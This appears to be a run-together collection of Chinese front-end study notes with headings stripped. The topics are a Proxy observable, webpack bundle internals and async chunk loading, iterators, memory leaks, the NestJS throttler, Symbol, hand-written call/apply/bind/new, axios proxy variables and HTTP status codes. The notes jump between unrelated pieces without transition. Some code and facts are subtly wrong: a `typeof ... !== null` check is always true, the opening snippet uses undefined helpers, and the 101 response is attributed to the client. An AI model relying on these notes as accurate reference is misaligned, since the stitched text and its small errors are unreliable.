const observable = (obj) => new Proxy(obj, { set })
const set = (target, key, value, receiver) => {
// 先完成默认行为
const result = Reflect.set(target, key, value, receiver)
// 通知观察者变化
observerSet.forEach((observer) => observer())
return result
}
/** 观察目标 */
const person = observable({
name: 'a',
age: 18,
})
/** 观察者 */
const print = () => {
console.log(`${person.name}, ${person.age}`)
}
observe(print)
person.name = 'b' // b 18
准确地说,本文是分析 Webpack 打包的结果,目的是看看 Webpack 如何将每个模块(文件)组合起来,在浏览器中是如何执行的打包代码,包括如何加装异步的块。
因此,只要写个简单的项目,分析其打包出来的代码即可。
按照 Webpack 官方 getting started 教程初始化一个项目,然后写入以下文件:
src/index.js
:
// 同步引入
import syncHello from './sync-hello'
document.querySelector('#text').innerText += `${syncHello}\n`
// 异步引入
import(/* webpackChunkName: "async" */ './async-hello').then(({ default: asyncHello }) => {
document.querySelector('#text').innerText += `${asyncHello}\n`
})
src/sync-hello.js
:
import generateHello from './sync-util'
export default generateHello('sync code')
src/sync-util.js
:
const generateHello = (source) => {
return `Hello from ${source}`
}
export default generateHello
src/async-hello.js
:
import generateHello from './sync-util'
export default generateHello('async code')
就这么简单的四个文件。
显然,每个文件作为一个模块的话,四个文件有以下关系:
index.js(入口)
/ \
sync-hello async-hello
/ /
| /
sync-util
在 package.json
中添加脚本:
webpack --mode development --config webpack.config.js
mode
记得设置为 development
,否则打包出来的代码会是压缩混淆过的,难以分析。
在 webpack.config.js
中,把 sourceMap 改一下:
module.exports = {
devtool: 'inline-source-map'
}
这是防止 Webpack 使用 eval
来打包模块,也是为了方便分析模块的代码。
最后打包出来有两个文件,一个 main.js
,一个 async.js
打开 dist/main.js
文件,可以看到内容充满了各种注释,四个加起来不到 20 行的代码,一个入口就有 200 多行,不过这些都是实现模块化的必要代码,让我们慢慢来分析。
首先,从整体来看,可以发现整个 main.js
外层是一个自执行函数的结构:
(function (modules) {
// webpack bootstrap
})({
// modules
})
main.js
文件被加载到浏览器后,就会执行这个函数,这个函数也就相当于是 Webpack 的引导程序。
函数的参数 modules
显然是我们书写的各个模块,在后面以一个对象的形式传入,接着来看看我们写的模块被转换成什么样子
转到传入的参数 modules
,发现是个对象:
{
"./src/index.js": (function (module, __webpack_exports__, __webpack_require__) {
// 模块内容
})
"./src/sync-hello.js": (function (module, __webpack_exports__, __webpack_require__) {
// 模块内容
})
"./src/sync-util.js": (function (module, __webpack_exports__, __webpack_require__) {
// 模块内容
})
}
可以看到一共是三个模块,都是同步加载的模块,异步的模块不在 main.js
里面。
我们从 "./src/sync-hello.js"
这个模块入手,因为它既有 import
也有 export
{
"./src/sync-hello.js": (function(module, __webpack_exports__, __webpack_require__) {
// 模块默认是严格模式
"use strict";
// 在 exports 中加上 __esModule 属性,表示是 ES 模块
__webpack_require__.r(__webpack_exports__);
// 导入 sync-util 模块
var _sync_util__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__("./src/sync-util.js");
// 导出此模块
__webpack_exports__["default"] = (Object(_sync_util__WEBPACK_IMPORTED_MODULE_0__["default"])('sync code'));
})
}
可以看到,我们在文件中写的 ES6 import
跟 export
都没了,变成了使用 __webpack_require__
, __webpack_exports__
这两个参数,个人觉得,因为所有的同步模块都被打包到了同一个文件中,所以就不能再用 ES6 的模块导入导出方法,需要 Webpack 内部自己实现从同一个文件中引入不同的模块。
其导入导出的风格类似 CommonJS
导入类似 require
函数,不过参数并不是路径,而是一个 id ,就是 modules
参数对象的 key 值
导出则是在 __webpack_exports__
上挂上导出的内容,类似 exports
对象。这里导出了一个 default
属性。
其他的模块也是类似的,修改了 import
与 export
看完参数,就该看看函数本体了
从上述模块的改写可以知道,重点在于如何导入导出模块,因此我们重点看看 __webpack_require__
这个函数
(function (modules) {
// 模块缓存
var installedModules = {}
// The require function
function __webpack_require__(moduleId) {
// 检查是否在缓存中,如果是,则表示模块执行过了,直接返回缓存的结果
if(installedModules[moduleId]) {
return installedModules[moduleId].exports;
}
// 创建新模块并缓存
var module = installedModules[moduleId] = {
i: moduleId,
l: false,
exports: {}
};
// 执行模块函数
modules[moduleId].call(module.exports, module, module.exports, __webpack_require__);
// 标识模块已经加载过了
module.l = true;
// 返回模块的导出(exports)
return module.exports;
}
// ...定义了一堆东西
// Load entry module and return exports
return __webpack_require__(__webpack_require__.s = "./src/index.js");
})({
// modules
})
在 __webpack_require__
中,可以看到,每个模块其实是一个对象 module
,其属性 exports
就是模块的导出, __webpack_require__
的功能其实就是,根据 moduleId
在缓存中查找对应模块执行的结果,如果没有找到,则执行 modules
参数中对应 moduleId
的函数,把 module.exports
作为 __webpack_exports__
参数传入,函数内部对 __webpack_exports__
的修改,就是对 module.exports
的修改。 __webpack_require__
最终返回的是 moduleId
对应模块的导出,也就是 module.exports
定义好 __webpack_require__
后,引导函数最后执行了导入入口模块 ./src/index.js
,至此,一个 Webpack 应用就开始执行了。
可能都知道, Webpack 导入异步模块是用了 jsonp ,那具体是个什么样的过程呢?
我们先看看有用到异步导入的模块,也就是 ./src/index.js
,在代码中是这么写的
import(/* webpackChunkName: "async" */ './async-hello').then(({ default: asyncHello }) => {
document.querySelector('#text').innerText += `${asyncHello}\n`
})
经过 Webpack 打包,变成了:
__webpack_require__.e(/*! import() | async */ "async").then(__webpack_require__.bind(null, /*! ./async-hello */ "./src/async-hello.js")).then(({ default: asyncHello }) => {
document.querySelector('#text').innerText += `${asyncHello}\n`
})
也就是说, import()
被转换成了:
__webpack_require__.e(chunkId).then(__webpack_require__.bind(null, moduleId))
那么我们来看看 __webpack_require__.e
是何方神圣
下面我把异步加载 jsonp 相关的代码都揪出来了,这段代码都在顶层的自执行函数,也就是引导函数中:
// 加载代码块的 jsonp 回调
function webpackJsonpCallback (data) {
var chunkIds = data[0];
var moreModules = data[1];
// 把 data 参数数组的第二个元素添加到 modules 对象中(也就是引导函数的 modules 参数)
// 把 chunkIds 里的元素都标记为已加载(即在 installedChunks 中置为 0 )
var moduleId, chunkId, i = 0, resolves = [];
for (; i < chunkIds.length; i++) {
chunkId = chunkIds[i];
if (Object.prototype.hasOwnProperty.call(installedChunks, chunkId) && installedChunks[chunkId]) {
resolves.push(installedChunks[chunkId][0]);
}
installedChunks[chunkId] = 0;
}
for (moduleId in moreModules) {
if (Object.prototype.hasOwnProperty.call(moreModules, moduleId)) {
modules[moduleId] = moreModules[moduleId];
}
}
if (parentJsonpFunction) parentJsonpFunction(data);
while (resolves.length) {
resolves.shift()();
}
};
// 存储已加载或正在加载的块(chunk)
// undefined = chunk 未加载, null = chunk preloaded/prefetched
// Promise = chunk 正在加载, 0 = chunk 已加载
var installedChunks = {
"main": 0
};
// script path function
function jsonpScriptSrc(chunkId) {
return __webpack_require__.p + "" + ({"async":"async"}[chunkId]||chunkId) + ".js"
}
// 由于 main.js 只包含入口的块(chunk),因此提供以下函数
// 加载额外(异步)块的函数
__webpack_require__.e = function requireEnsure (chunkId) {
var promises = [];
// JSONP chunk loading for javascript
var installedChunkData = installedChunks[chunkId];
if (installedChunkData !== 0) { // 0 表示 "已安装".
// 一个 Promise 表示 "正在加载".
if (installedChunkData) {
promises.push(installedChunkData[2]);
} else {
// installedChunks[chunkId] === undefined , 表示此 chunk 未加载
// 因此将 installedChunks[chunkId] 赋值为 Promise 表示正在加载这个 chunk
var promise = new Promise(function (resolve, reject) {
installedChunkData = installedChunks[chunkId] = [resolve, reject];
});
promises.push(installedChunkData[2] = promise);
// start chunk loading
var script = document.createElement('script');
var onScriptComplete;
script.charset = 'utf-8';
script.timeout = 120;
if (__webpack_require__.nc) {
script.setAttribute("nonce", __webpack_require__.nc);
}
script.src = jsonpScriptSrc(chunkId);
// create error before stack unwound to get useful stacktrace later
var error = new Error();
// script 标签下载、执行完成后的回调
onScriptComplete = function (event) {
// avoid mem leaks in IE.
script.onerror = script.onload = null;
clearTimeout(timeout);
var chunk = installedChunks[chunkId];
if (chunk !== 0) {
if (chunk) {
var errorType = event && (event.type === 'load' ? 'missing' : event.type);
var realSrc = event && event.target && event.target.src;
error.message = 'Loading chunk ' + chunkId + ' failed.\n(' + errorType + ': ' + realSrc + ')';
error.name = 'ChunkLoadError';
error.type = errorType;
error.request = realSrc;
chunk[1](error);
}
installedChunks[chunkId] = undefined;
}
};
// 2 分钟超时
var timeout = setTimeout(function () {
onScriptComplete({ type: 'timeout', target: script });
}, 120000);
script.onerror = script.onload = onScriptComplete;
// 把 script 标签插入 html ,开始下载异步模块
document.head.appendChild(script);
}
}
return Promise.all(promises);
};
var jsonpArray = window["webpackJsonp"] = window["webpackJsonp"] || [];
var oldJsonpFunction = jsonpArray.push.bind(jsonpArray);
// 重写 push 方法,因此 script 标签下载完成时执行的 jsonp 回调就是 webpackJsonpCallback
jsonpArray.push = webpackJsonpCallback;
jsonpArray = jsonpArray.slice();
for(var i = 0; i < jsonpArray.length; i++) webpackJsonpCallback(jsonpArray[i]);
// parentJsonpFunction 就是数组原来的 push 方法
var parentJsonpFunction = oldJsonpFunction;
直接讲一下遇到异步模块的时候是怎么一个流程吧。
webpackJsonpCallback
, 异步导入方法 __webpack_require__.e
还有 window["webpackJsonp"]
这个全局的变量,并重写 window["webpackJsonp"].push
方法为 webpackJsonpCallback
import()
,由于 Webpack 打包前的转换,会变成调用 __webpack_require__.e
__webpack_require__.e
中,对于没有下载的异步模块,会用 JS 新建 script 标签的方式去下载模块的代码,并创建一个 Promise ,把 Promise 存在一个缓存中(window["webpackJsonp"] = window["webpackJsonp"] || []).push([["async"], {
"./src/async-hello.js": (function (module, __webpack_exports__, __webpack_require__) {
"use strict";
__webpack_require__.r(__webpack_exports__);
var _sync_util__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__("./src/sync-util.js");
__webpack_exports__["default"] = (Object(_sync_util__WEBPACK_IMPORTED_MODULE_0__["default"])('async code'));
})
}]);
其中会执行 window["webpackJsonp"].push
方法,也就是 webpackJsonpCallback
webpackJsonpCallback
中,会把异步代码中的模块都保存到 modules
参数中,并且 resolve 存在缓存中对应块的 Promise__webpack_require__.e
中定义的 script 标签回调 onScriptComplete
就开始处理后续,如果异步 chunk 没有成功加载,则把缓存里,即 installedChunks[chunkId]
置为 undefined ,表示未加载,下次会重新再去下载这个 chunk 。根据上述步骤,可以得到一些结论:
__webpack_require__.e
负责将异步的代码块(chunk ,里面包含异步模块)通过 script 标签下载下来webpackJsonpCallback
jsonp 回调,在异步代码下载完成后,负责把异步模块注册到 modules
里,并 resolve 对应的 Promise所以, __webpack_require__.e(chunkId)
返回的是一个 Promise ,当它 resolve 的时候,表示异步模块已经被注册到 modules
中,可以 require 了
因此 __webpack_require__.e(chunkId)
后, Webpack 内部还要再执行一个 then
:
__webpack_require__.e(chunkId).then(__webpack_require__.bind(null, moduleId))
相当于:
__webpack_require__.e(chunkId).then(() => {
return __webpack_require__(moduleId)
})
最终返回一个新的 Promise , resolve 的值就是 __webpack_require__(moduleId)
,这样,下一个 then
就能接收到异步模块导出的值了。(关于在 then
里面 return 一个值会如何处理,参照 #26 )
在 dist
文件夹下新建一个 index.html
,引入打包后的 main.js
:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<div id="text"></div>
<script src="./main.js"></script>
</body>
</html>
直接用浏览器打开这个文件,可以看到正确的结果
在开发者工具的 Network 面板中,可以看到请求了三个文件: index.html
, main.js
, async.js
在 Elements 面板中,展开 head
标签,可以看到多了个 src 为 async.js
的 script
标签
一切正常。
遍历器(Iterator),一种为不同数据结构提供统一的访问机制的接口。
作用:
for...of
遍历命令使用TypeScript 定义:
interface Iterable<T> {
[Symbol.iterator](): Iterator<T>;
}
interface Iterator<T, TReturn = any, TNext = undefined> {
// NOTE: 'next' is defined using a tuple to ensure we report the correct assignability errors in all places.
next(...args: [] | [TNext]): IteratorResult<T, TReturn>;
return?(value?: TReturn): IteratorResult<T, TReturn>;
throw?(e?: any): IteratorResult<T, TReturn>;
}
type IteratorResult<T, TReturn = any> = IteratorYieldResult<T> | IteratorReturnResult<TReturn>;
interface IteratorYieldResult<TYield> {
done?: false;
value: TYield;
}
interface IteratorReturnResult<TReturn> {
done: true;
value: TReturn;
}
只要有 [Symbol.iterator]
属性,就认为是“可遍历的”(iterable)
在 for...of
循环中,会调用 [Symbol.iterator]
,并执行其返回的 next
函数:
const iterable = {
[Symbol.iterator] () {
let i = 0
return {
next () {
return { value: i++, done: i > 5 }
}
}
}
}
for (let i of iterable) {
console.log(i)
}
// 0 1 2 3 4
const iter = iterable[Symbol.iterator]()
console.log(iter.next()) // { value: 0, done: false }
console.log(iter.next()) // { value: 1, done: false }
console.log(iter.next()) // { value: 2, done: false }
console.log(iter.next()) // { value: 3, done: false }
console.log(iter.next()) // { value: 4, done: false }
console.log(iter.next()) // { value: 5, done: true }
原生具备 Iterator 接口的数据结构:
原生数组 Iterator 接口示例:
const arr = [1, 2, 3]
const it = arr[Symbol.iterator]()
it.next() // { value: 1, done: false }
it.next() // { value: 2, done: false }
it.next() // { value: 3, done: false }
it.next() // { value: undefined, done: true }
for...of
, Array.from()
, Map()
, Set()
, WeakMap()
, WeakSet()
, Promise.all()
, Promise.race()
, Promise.allSettled()
见 Generator 笔记
遍历器对象除了 next
,还可以有 return
与 throw
方法。这两个方法是可选的。
return
返回一个对象,在 for...of
循环提前退出(抛出错误或者手动 break
)时调用,可作为清理或释放资源用。
例如:
function readLinesSync (file) {
return {
[Symbol.iterator] () {
return {
next () {
return { done: false }
},
return () {
file.close()
return { done: true }
}
}
}
}
}
for (let line of readLinesSync(fileName)) {
console.log(line)
break
}
// 或者
for (let line of readLinesSync(fileName)) {
console.log(line)
throw new Error()
}
定义一个逐行读取文件的函数,在遍历完第一行后,如果是 break
或抛出错误了,则执行 return
方法,关闭文件。如果是抛出错误,会在 return
执行之后再抛出(个人未验证)
throw
方法主要配合 Generator 函数使用,见 Generator 笔记
for...of
与 for...in
for...of
循环作为遍历所有数据结构的统一的方法,只要部署了 Symbol.iterator
属性,就可以用 for...of
来遍历,因此,普通的对象不能用 for...of
遍历,只能使用 for...in
,而数组、Map、Set、arguments 对象等,就可以用 for...of
来遍历。
for...in
的缺点:
'0'
, '1'
等作为键名for...in
可能会遍历到原型链上的键for...in
不保证遍历的顺序for (let key in [1, 2, 3]) {
console.log(typeof key) // string
}
const arr = [1, 2, 3]
Object.setPrototypeOf(arr, { protoProperty: 666 })
for (let key in arr) {
console.log(key)
}
// 0 1 2 protoProperty
总之 for...in
主要是为遍历对象而设计的,不适用于数组
另外提一下 forEach
这种函数遍历的方式,优点是简洁方便,但缺点也很明显:无法中途跳出循环
给定一个二叉树,找出其最大深度。
二叉树的深度为根节点到最远叶子节点的最长路径上的节点数。
说明: 叶子节点是指没有子节点的节点。
示例:
给定二叉树 [3,9,20,null,null,15,7],
3
/ \
9 20
/ \
15 7
返回它的最大深度 3 。
/**
* Definition for a binary tree node.
* function TreeNode(val) {
* this.val = val;
* this.left = this.right = null;
* }
*/
/**
* @param {TreeNode} root
* @return {number}
*/
var maxDepth = function(root) {
return root === null ? 0 : Math.max(maxDepth(root.left), maxDepth(root.right)) + 1
};
DFS 同时记录当前节点深度
/**
* Definition for a binary tree node.
* function TreeNode(val) {
* this.val = val;
* this.left = this.right = null;
* }
*/
/**
* @param {TreeNode} root
* @return {number}
*/
var maxDepth = function(root) {
if (!root) return 0
const stack = [[root, 1]]
let depth = 0
while (stack.length) {
const info = stack.pop()
const node = info[0]
const currentDepth = info[1]
if (node) {
depth = Math.max(currentDepth, depth)
stack.push([node.right, currentDepth + 1])
stack.push([node.left, currentDepth + 1])
}
}
return depth
};
判断对象是否被其他对象引用,如果没有,则可回收(零引用)
缺陷:无法处理循环引用导致内存泄漏
例如:
function func () {
var obj1 = {}
var obj2 = {}
obj1.a = obj2
obj2.a = obj1
}
func()
上述示例中,即使没有再用到 obj1
, obj2
,但它们各自被引用了一次,因此不会被回收
从根对象(全局对象)开始遍历所有可以获得的对象,如果对象无法获得,则可以回收
上述循环引用的示例中,在函数调用后,从根对象开始都无法再获得 obj1
与 obj2
,因此可以被回收
限制:要清除一个对象,需要手动将它变成无法获得,比如 obj = null
等。个人认为这不是个问题。
一般是无意中声明的,例如:
function func () {
property = 1
}
还有一种情况是 this
的使用问题:
function func () {
this.property = 1
}
// 直接在全局作用域调用
func()
上述 this
在非严格模式下指向的是全局对象,可以通过 use strict
避免这种情况的发生。
一般是使用 setInterval
忘了清除导致的,不仅回调内的变量不会被清除,回调函数引用的外层作用域的变量也无法被正常回收:
let a = 1
setInterval(function () {
let b = a
}, 1000)
还有一点是各类监听事件的回调,例如 addEventListeners
的回调,在不需要监听后,如果没有 remove ,在旧的 IE 下会导致泄漏,因为旧 IE 用的是引用计数算法,无法清除循环引用。
尽管现代浏览器可以识别循环引用,开发者不必再手动 remove 监听的回调,但动手清理一下还是个比较好的实践,特别是在编写库的时候,可以防止在旧浏览器上出现这类泄漏
有时候我们将 DOM 的引用存入 JS 数据结构中进行一些操作。当要删除这个 DOM 节点时,记得把 JS 代码中的这个 DOM 引用也释放掉:
var $button = document.getElementById('button')
// ...do something
$button.remove()
// 记得清除引用
$button = null
var theThing = null;
var replaceThing = function () {
var originalThing = theThing;
var unused = function () {
if (originalThing)
console.log('hi');
};
theThing = {
longStr: new Array(1000000).join('*'),
someMethod: function () {
console.log('someMessage');
}
};
};
setInterval(replaceThing, 1000);
上述代码中,
replaceThing 函数中的作用域同时被 unused 与 theThing.someMethod 所引用,由于 theThing 为全局变量,所以被 unused 与 theThing 引用的变量不会被释放,这样被 unused 引用的 originalThing 就没有被释放(这块即为泄露的内存)
网上讨论是浏览器引擎作用域设计问题,不是泄漏问题,这边不做讨论。
浏览器方面,使用 Chrome devtools 的 Performance monitor 面板,一段时间内多次点击回收垃圾按钮(Collect garbage),如果 JS heap size
曲线呈现上升趋势而不是趋于平稳,则多半发生了内存泄漏问题。
对于闭包的问题,明天就 0202 年了,只要设计得当,对于闭包的利用价值是大于防止泄漏的,而且很大一部分泄漏问题是历史遗留问题,比如 IE 的垃圾回收 bug ,在今天大可不必刻意去避免闭包的使用。
有关限流的知识可以参考 5 种限流算法,7 种限流方式,挡住突发流量?
https://github.com/nestjs/throttler/blob/v3.0.0/src/throttler.guard.ts#L77
核心代码应该是这行开始了, Guard 中的 handleRequest
https://github.com/nestjs/throttler/blob/v3.0.0/src/throttler.service.ts#L17
以及 ThrottlerStorageService
的 addRecord
方法
const ttls = await this.storageService.getRecord(key);
const nearestExpiryTime = ttls.length > 0 ? Math.ceil((ttls[0] - Date.now()) / 1000) : 0;
// Throw an error when the user reached their limit.
if (ttls.length >= limit) {
res.header('Retry-After', nearestExpiryTime);
this.throwThrottlingException(context);
}
当 ttls.length
大于等于 limit (ttl 中允许的请求数量,如果 ttl 是 1秒 ,则 limit 就是 QPS 的意思),则会被限流。
那么, ttls
里面存放的东西就很关键
深入 ThrottlerStorageService
的 addRecord
方法,可以看到 ttls
数组存的是什么
const ttlMilliseconds = ttl * 1000;
if (!this.storage[key]) {
this.storage[key] = [];
}
this.storage[key].push(Date.now() + ttlMilliseconds);
从代码中可以看出, ttls
存的是请求过期的时间点
也就是说,当一个请求过来,会往 ttls
数组中 push 一个时间点,代表到这个时间点之后,允许多放行一个新的请求。
知道了 ttls
存放的是时间点,那么假设一位用户被限流了,他想知道多久后才会解除限流,就可以从 ttls
数组中得到这个信息,只需要取数组的第一项,减去现在的时间。
const nearestExpiryTime = ttls.length > 0 ? Math.ceil((ttls[0] - Date.now()) / 1000) : 0;
NestJS 自带限流其实就是采用滑动日志的方式。
优点就是限流比较精确,可以防止流量突刺
缺点也很明显,比较占用内存,假设 ttl 为 1 ,限制 QPS 为 1000 , ttls
最大就会有 1000 个元素
在 addRecord
中, ttls
数组是通过 setTimeout
的方式去清理的,那么 ttls
有多少个元素,就会有多少个 setTimeout
在排队
本来是想着把 setTimeout
给优化掉,但是好像意义并不大,因为这种限流算法本来就是一种用空间妥协换取限流精确度的做法。
ES6 引入了一种新的原始数据类型 Symbol
目前有 7 种原始类型, 1 种引用类型
原始类型:
引用类型 Object
Symbol
函数生成,不能使用 new 命令toString
方法for...in
, for...of
, Object.keys()
, Object.getOwnPropertyNames()
, JSON.stringify()
遍历到或返回。let sym = Symbol()
const str = `some str with ${sym}` // TypeError: Cannot convert a Symbol value to a string
String(sym) // 'Symbol()'
sym.toString() // 'Symbol()'
let sym = Symbol()
Boolean(sym) // true
Number(sym) // TypeError
sym + 2 // TypeError
如果传给 Symbol
的参数是一样的,生成的 Symbol 并不是同一个 Symbol :
Symbol('abc') === Symbol('abc') // false
传入的参数是作为 Symbol 的一个描述。
如果要获取这个描述,有两种方法:
Symbol('abc').toString() // 'Symbol(abc)'
Symbol('abc').description // 'abc'
使用 Symbol 作为 key 可保证不出现同名属性,导致对象属性被覆盖。
用于定义一组常量,例如:
const logLevel = {
DEBUG: Symbol('debug'),
INFO: Symbol('info'),
WARN: Symbol('warn'),
}
在上述常量中,我们其实并不关心 logLevel.DEBUG
具体是什么值,只需要保证其唯一就行,因此可以用 Symbol 来保证其中的属性值都不相等。有点类似 TypeScript 中的枚举 enum ,在编写代码时,我们不关心 enum 里面具体的值是什么,在运行时会自动编译成 1, 2, 3 这些在枚举中唯一的值。
Symbol 值作为对象 key ,不会被常规方法遍历到,除非用 Object.getOwnPropertySymbols
这类方法,因此可以用 Symbol 来定义一些一定程度上私有的内部方法:
let size = Symbol('size');
class Collection {
constructor() {
this[size] = 0;
}
add(item) {
this[this[size]] = item;
this[size]++;
}
static sizeOf(instance) {
return instance[size];
}
}
let x = new Collection();
Collection.sizeOf(x) // 0
x.add('foo');
Collection.sizeOf(x) // 1
Object.keys(x) // ['0']
Object.getOwnPropertyNames(x) // ['0']
Object.getOwnPropertySymbols(x) // [Symbol(size)]
Symbol.for() 接受一个字符串参数,返回在全局环境中已经注册的 Symbol ,如果没有找到,则新建一个 Symbol
Symbol('abc') === Symbol('abc') // false
Symbol.for('def') === Symbol.for('def') // true
{
let s = Symbol('sss')
s === Symbol.for('sss') // false
}
Symbol.keyFor() 返回一个已登记的 Symbol 类型的 key ,与 Symbol.description
类似
let s1 = Symbol.for("foo");
Symbol.keyFor(s1) // "foo"
let s2 = Symbol("foo");
Symbol.keyFor(s2) // undefined
Symbol.for()
这个方法是在全局登记的,因此可以跨 iframe 或 service worker 取到同一个 Symbol 值。
Symbol 相关的内容太多,这边不再列了。
Function.prototype._call = function (thisArg) {
if (typeof this !== 'function') {
throw TypeError('Not callable')
}
if ((function () { return this })() !== undefined) {
// 非严格模式
if (thisArg == null) thisArg = window || global
else if (typeof thisArg !== 'object' && typeof thisArg !== 'function') {
// 原始值
thisArg = new Object(thisArg)
}
}
const symbol = Symbol('call')
thisArg[symbol] = this
const result = thisArg[symbol](...Array.from(arguments).slice(1))
delete thisArg[symbol]
return result
}
Function.prototype._apply = function (thisArg, argsArray) {
if (typeof this !== 'function') {
throw TypeError('Not callable')
}
if ((function () { return this })() !== undefined) {
// 非严格模式
if (thisArg == null) thisArg = window || global
else if (typeof thisArg !== 'object' && typeof thisArg !== 'function') {
// 原始值
thisArg = new Object(thisArg)
}
}
const symbol = Symbol('apply')
thisArg[symbol] = this
const result = thisArg[symbol](...Array.from(argsArray))
delete thisArg[symbol]
return result
}
Function.prototype._bind = function (thisArg) {
if (typeof this !== 'function') {
throw TypeError('Not callable')
}
const originalFunction = this
const argsList = [].slice.call(arguments, 1)
const bound = function () {
argsList.push(...arguments)
if (new.target !== undefined) {
// new 了 bind 后的函数,走 new 的流程
Object.setPrototypeOf(this, originalFunction.prototype)
return originalFunction.call(this, ...argsList)
} else {
return originalFunction.call(thisArg, ...argsList)
}
}
return bound
}
NestJS 应用内部请求了外部的 HTTP API ,由于某些原因需要代理。由于 NestJS 的 HttpModule
内部使用的是 axios
,因此直接找到官网搜 proxy 。
本篇重点记录使用环境变量的方式,可不修改代码。
在其官方文档中,说明了两种配置代理的方式:
proxy
配置http_proxy
, https_proxy
, no_proxy
环境变量第一种方式比较明确,在 NestJS 中,在引入 HttpModule
时使用 register
传入配置即可
HttpModule.register({
proxy: {},
})
但是这种配置方式直接侵入了代码,怎么说都得再发个版,不如看看用环境变量如何解决。
在 Axios 官网中看到的三个环境变量,有许多工具跟语言都支持,例如 curl, Go 等。
不过这几个环境变量没有一个固定的标准,因此各个程序对它们的支持略微有些差异。
例如在这篇文章中,就讲述了由于 Ruby 跟 Go 对于 no_proxy
支持上的差异而导致的问题:
We need to talk: Can we standardize NO_PROXY?
不过在此我只记录如何在 NestJS 应用中配置,就不去深究它们之间的差异了。
在 package.json
中可以看到这么一个库用于读取 proxy 环境变量:
可以看到这个库支持 http_proxy
, https_proxy
, no_proxy
和 all_proxy
(实际上是取了 ${protocol}_proxy
,因此 ftp
, ws
之类的协议也是支持的,只要 Axios 能请求)
对于大小写的环境变量都支持了,且优先小写,可见代码
看到这里,配置方式很明确了,按需加上 http_proxy
等环境变量即可,例如:
http_proxy=http://username:[email protected]:8080
https_proxy=http://username:[email protected]:8080
对应 axios
中的 proxy
配置:
proxy: {
protocol: 'http',
host: 'example.com',
port: 8080,
auth: {
username: 'username',
password: 'password'
}
}
优点:
缺点:
http_proxy
环境变量读取的差异,比如支持情况,大小写等以下复述一遍 MDN 中的解释:
instance.__proto__ = F.prototype
)this
执行一遍构造函数根据以上定义,得到一个最简单的实现:
function _new (F, ...args) {
const obj = Object.create(F.prototype)
const ret = F.apply(obj, args)
return typeof ret === 'object' ? ret : obj
}
以上最简单的实现有几个方面没有考虑:
typeof ret === 'object'
是不够的function isConstructor (f) {
if (f === Symbol) return false
try {
Reflect.construct(String, [], f)
} catch (e) {
return false
}
return true
}
因为 typeof null === 'object' // true
和 typeof (function () {}) === 'function' // true
所以要对这两种类型另外判断:
function isESObject (returnValue) {
return (typeof returnValue === 'object' && typeof returnValue !== null) || typeof returnValue === 'function'
}
。
以上改进内容参照 francecil/leetcode#11 ,有关 new.target 的内容可到此链接查看
工作在文件层面,在打包工作进行之前执行。例如在编译一个文件时,遇到一个引入路径,比如 require
或 import
了一个 xxx.txt
文件,则在把这个 txt 文件打包之前会用配置对应的 loader 处理一遍。
Loaders 相对于 Plugins 是比较简单的,它只暴露一个函数给 Webpack ,且不会影响到构建过程
插件(Plugins)则用于执行范围更广的任务,例如打包优化,资源管理,注入环境变量。一般工作在 bundle
层面或 chunk
层面,通常在打包工作的末尾执行。Plugins 可以影响到打包,能决定打包是如何生成的。
例如 html-webpack-plugin
插件可以生成 html 文件并注入打包中。
Plugins 相对于 Loaders 是较为复杂的,在 API 方面, Plugins 与 Webpack 集成度较高,可以注册内部的钩子,从而影响编译等构建过程
HTTP(Hyper Text Transfer Protocol),超文本传输协议,是基于 TCP ,用于服务器传输超文本数据到本地的应用层协议。主要规定了客户端与服务器之间的通信格式。默认使用 80 端口。
HTTP 响应状态码用于指示 HTTP 请求是否成功完成。
响应分为五类:
虽然 RFC 2616 中已经推荐了描述状态的短语,例如"200 OK","404 Not Found",但是WEB开发者仍然能够自行决定采用何种短语,用以显示本地化的状态描述或者自定义信息。
下面列出一些常见状态码,具体见 MDN 文档
表明所有内容都是可行的,客户端应继续请求,如果已经完成则忽略。
响应请求头中的 Upgrade
而发出,指示服务器也正在切换协议,例如在 WebSocket 中建立连接时,浏览器会先发出一个 GET 请求,带上 Upgrade: websocket
头部,客户端则会响应 101 ,切换到 WebSocket 对应协议。
表示服务器已收到并正在处理请求,但没有响应可用。
与 Link
头部一起使用,允许客户端在服务器仍在准备响应时开始预加载资源。
请求成功
请求成功并因此创建了一个新的资源,通常是在 POST 请求或某些 PUT 请求后返回。
请求已收到,但还未响应,没有结果。
被请求的资源有一系列可供选择的回馈信息,用户或浏览器能够自行选择一个首选的地址进行重定向。
被请求资源已永久移动到新位置,将来对此资源的引用都应该使用响应的若干个 URI 之一。该响应可缓存。
请求的资源临时从不同 URI 响应请求,由于是临时的,客户端下次应该还是从原有地址请求此资源。只有在 Cache-Control 或 Expires 指定,才可缓存此响应。
如果客户端发送的 GET 请求的资源未改变,则返回这个状态码指示客户端使用缓存。该响应禁止包含响应体,因此始终以空行结束。参照 #36 协商缓存。
当前请求需要用户验证。
服务器已理解请求,但拒绝执行。
请求失败,资源未在服务器上发现。
请求行中指定的请求方法不能被用于请求相应的资源。例如有些网页服务器不支持 PUT, DELETE 方法,则会返回 405 错误。
请求的资源内容特性无法满足请求头中的条件,因而无法生成响应实体。
请求超时。客户端没有在服务器预备等待的时间内完成一个请求的发送。
服务器遇到了不知道如何处理的情况。
此请求方法不被服务器支持且无法被处理。只有 GET
和 HEAD
是要求服务器支持的,这两个方法一定不会返回 501 。
服务器作为网关,需要得到一个处理这个请求的响应,但是得到一个错误的响应。
服务器没有准备好处理请求。常见原因是服务器因维护或重载而停机。
服务器作为网关,不能及时得到响应时返回 504 。
服务器不支持请求中所使用的 HTTP 版本。
在 HTTP/1.x 里,有多种连接管理模型:
在 HTTP/1.0 中的默认模型是短连接,每一个 HTTP 请求都是独立完成的,即每发起一个 HTTP 请求都要建立一次 TCP 连接,导致十分耗时。
在 HTTP/1.0 中如果没有指定 Connection
头,或者值为 close
则会使用短连接。
在 HTTP/1.1 中只有当 Connection
为 close
时才会使用短连接。
由于短连接十分耗时,因此设计出了长连接(在 HTTP/1.1 之前就有的概念)。
长连接在同一个 TCP 连接中可以发出多个 HTTP 请求,解决短连接中频繁建立 TCP 连接的问题。
但长连接也有缺点: 在空闲时候也会消耗服务器资源。
HTTP/1.0 中,把 Connection
设置为 close
以外的值即可使用长连接。
HTTP/1.1 中默认是使用长连接的。
